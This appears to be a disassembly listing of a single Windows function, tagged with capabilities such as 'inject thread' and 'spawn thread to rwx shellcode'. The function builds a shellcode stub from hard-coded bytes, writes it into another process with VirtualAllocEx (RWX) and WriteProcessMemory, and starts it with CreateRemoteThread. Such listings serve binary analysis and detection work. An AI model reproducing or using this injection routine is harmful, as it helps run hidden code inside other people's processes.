Function at 0x489800
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x5ba348
push 0x520ce0
mov eax, dword fs:[0]
push eax
sub esp, 0x388
mov eax, dword [0x5cc128]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov ebx, edx
mov edi, ecx
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
jne 0x489852
xor al, al
jmp 0x489bcb
mov edx, 0x5a6e20
mov ecx, esi
call fcn.00489780
mov dword [ebp - 0x17c], eax
mov edx, 0x5a6e10
mov ecx, esi
call fcn.00489780
mov dword [ebp - 0x134], eax
mov edx, str.OpenThread
mov ecx, esi
call fcn.00489780
mov dword [ebp - 0x128], eax
mov edx, 0x5a6e30
mov ecx, esi
call fcn.00489780
mov dword [ebp - 0x120], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x12c], eax
push ecx
push ebx
push ecx
mov edx, 0x104
lea ecx, [ebp - 0x384]
call fcn.00439610
push ecx
push dword [ebp + 8]
push ecx
mov edx, 0x40
lea ecx, [ebp - 0x174]
call fcn.00486f80
mov dword [ebp - 0x11c], 0x6aec8b55
mov dword [ebp - 0x118], 0x8b006a00
mov dword [ebp - 0x114], 0x8b500845
mov dword [ebp - 0x110], 0x918b084d
mov dword [ebp - 0x10c], 0x208
mov dword [ebp - 0x108], 0x4d8bd2ff
mov dword [ebp - 0x104], 0xc818908
mov dword [ebp - 0x100], 0x8b000002
mov dword [ebp - 0xfc], 0xba830855
mov dword [ebp - 0xf8], 0x20c
mov dword [ebp - 0xf4], 0xb80a7500
mov dword [ebp - 0xf0], 1
mov dword [ebp - 0xec], 0xbfe9
mov dword [ebp - 0xe8], 0x8458b00
mov dword [ebp - 0xe4], 0x21005
mov dword [ebp - 0xe0], 0xb9527400
mov dword [ebp - 0xdc], 1
mov dword [ebp - 0xd8], 0x8b00d16b
mov dword [ebp - 0xd4], 0xbe0f0845
mov dword [ebp - 0xd0], 0x210108c
mov dword [ebp - 0xcc], 0xc9850000
mov dword [ebp - 0xc8], 0x558b3b74
mov dword [ebp - 0xc4], 0x10c28108
mov dword [ebp - 0xc0], 0x52000002
mov dword [ebp - 0xbc], 0x8b08458b
mov dword [ebp - 0xb8], 0x20c88
mov dword [ebp - 0xb4], 0x558b5100
mov dword [ebp - 0xb0], 0x50828b08
mov dword [ebp - 0xac], 0xff000002
mov dword [ebp - 0xa8], 0x84d8bd0
mov dword [ebp - 0xa4], 0x2548189
mov dword [ebp - 0xa0], 0x558b0000
mov dword [ebp - 0x9c], 0x54ba8308
mov dword [ebp - 0x98], 2
mov dword [ebp - 0x94], 0x1b80775
mov dword [ebp - 0x90], 0xeb000000
mov dword [ebp - 0x8c], 0x8458b63
mov dword [ebp - 0x88], 0x254888b
mov dword [ebp - 0x84], 0xd1ff0000
mov dword [ebp - 0x80], 0x8308558b
mov dword [ebp - 0x7c], 0x258ba
mov dword [ebp - 0x78], 0x4a740000
mov dword [ebp - 0x74], 0x8b08458b
mov dword [ebp - 0x70], 0x25888
mov dword [ebp - 0x6c], 0x6a5100
mov dword [ebp - 0x68], 0x558b026a
mov dword [ebp - 0x64], 0x5c828b08
mov dword [ebp - 0x60], 0xff000002
mov dword [ebp - 0x5c], 0x84d8bd0
mov dword [ebp - 0x58], 0x2608189
mov dword [ebp - 0x54], 0x558b0000
mov dword [ebp - 0x50], 0x60ba8308
mov dword [ebp - 0x4c], 2
mov dword [ebp - 0x48], 0x1b80775
mov dword [ebp - 0x44], 0xeb000000
mov dword [ebp - 0x40], 0x8458b17
mov dword [ebp - 0x3c], 0x260888b
mov dword [ebp - 0x38], 0x8b510000
mov dword [ebp - 0x34], 0x828b0855
mov dword [ebp - 0x30], 0x264
mov dword [ebp - 0x2c], 0xc033d0ff
mov dword [ebp - 0x28], 0x4c25d
mov dword [ebp - 0x24], 0xcccccccc
mov dword [ebp - 0x20], 0xcccccccc
xor bl, bl
mov byte [ebp - 0x385], bl
xor esi, esi
mov dword [ebp - 0x38c], esi
mov dword [ebp - 4], esi
push 0x40
push 0x3000
push 0x268
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x390], eax
test eax, eax
je 0x489bbd
push esi
push 0x268
lea ecx, [ebp - 0x384]
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x489bbd
push 0x40
push 0x3000
push 0x100
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x394], eax
test eax, eax
je 0x489bbd
push esi
push 0x100
lea ecx, [ebp - 0x11c]
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x489bbd
lea eax, [ebp - 0x398]
push eax
push esi
push dword [ebp - 0x390]
push dword [ebp - 0x394]
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
mov dword [ebp - 0x38c], esi
movzx ebx, bl
mov eax, 1
test esi, esi
cmovne ebx, eax
mov byte [ebp - 0x385], bl
mov dword [ebp - 4], 0xfffffffe
call fcn.00489bf3
mov al, bl
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004f88bd
mov esp, ebp
pop ebp
ret